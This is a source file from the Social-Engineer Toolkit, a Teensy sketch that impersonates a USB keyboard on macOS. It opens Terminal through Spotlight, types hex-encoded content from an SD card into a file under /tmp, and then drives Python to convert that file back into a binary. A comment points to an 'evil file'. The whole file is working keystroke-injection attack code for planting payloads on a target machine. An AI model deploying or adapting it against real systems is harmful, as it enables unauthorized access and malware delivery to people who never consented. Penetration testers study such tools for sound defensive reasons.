social-engineer-toolkit/src/teensy/osx_sd2teensy.pde
2012-12-31 17:11:37 -05:00

130 lines
3.5 KiB
Text

/*
Teensy Hex to File SDCard Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K)
Reading from a SD card. Based on code from: http://arduino.cc/en/Tutorial/DumpFile
*/
// This the Mac version :) This does not execute the code, but it does copy from the SD.
#include <avr/pgmspace.h>
#include <SD.h>
// Teensy ++ LED is 6. Teensy the LED is 11.
int ledPin = 6;
void setup()
{
BlinkFast(2);
delay(5000);
CommandAtSpotlight("Terminal");
delay(7500);
// Replace file name with evil file
Keyboard.println("nano /tmp/test.txt");
delay(1000);
// This is the SS pin on the Teensy. Pin 20 on the Teensy ++. Pin 0 on the Teensy.
const int chipSelect = 20;
// make sure that the default chip select pin is set to
// output, even if you don't use it:
pinMode(10, OUTPUT);
// see if the card is present and can be initialized:
if (!SD.begin(chipSelect)) {
Serial.println("Card failed, or not present");
// don't do anything more:
return;
}
// open the file. note that only one file can be open at a time,
// so you have to close this one before opening another.
// Larger the file, more likely it wouldn't fit in a normal int var.
// This is the workaround for it.
long int filePos;
long int fileSize;
File dataFile = SD.open("converts.txt");
if (dataFile) {
fileSize = dataFile.size();
Keyboard.println("Start File");
for (filePos = 0; filePos <= fileSize; filePos++) {
Keyboard.print(dataFile.read(),BYTE);
// Large files take a while to write out...this delay helps keep the keyboard on tract.
delay(10);
//Serial.print(dataFile.read(),BYTE);
}
dataFile.close();
Keyboard.println("End File");
}
else {
Serial.println("error opening converts.txt");
}
// ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST!
delay(5000);
CtrlX();
delay(5000);
// Use Python to convert file back to binary.
// Play with the delays to make everything work right.
Keyboard.println("python");
delay(1000);
Keyboard.println("import binascii");
delay(1000);
Keyboard.println("fileopen = file(\"/tmp/converts.txt\", \"rb\")");
delay(1000);
Keyboard.println("data = fileopen.read()");
delay(1000);
Keyboard.println("data = binascii.unhexlify(data)");
delay(1000);
Keyboard.println("filewrite = file(\"/tmp/theconverted.txt\", \"w\")");
delay(1000);
Keyboard.println("filewrite.write(data)");
delay(1000);
Keyboard.println("quit()");
}
void loop () {}
void BlinkFast(int BlinkRate){
// Blinks the light...lets us know we're alive
int BlinkCounter=0;
for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){
digitalWrite(ledPin, HIGH);
delay(80);
digitalWrite(ledPin, LOW);
delay(80);
}
}
void CtrlX(){
// Save a file within Nano
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.set_key1(KEY_X);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
delay(100);
// Press Y to Save
PRES(KEY_Y);
delay(100);
// Press Enter to Accept the file name
PRES(KEY_ENTER);
}
void CommandAtSpotlight(char *SomeCommand){
// Open Spotlight and find your program
Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.set_key1(KEY_SPACE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1500);
Keyboard.print(SomeCommand);
PRES(KEY_ENTER);
}
void PRES(int KeyCode){
// Press a keyboard button
Keyboard.set_key1(KeyCode);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}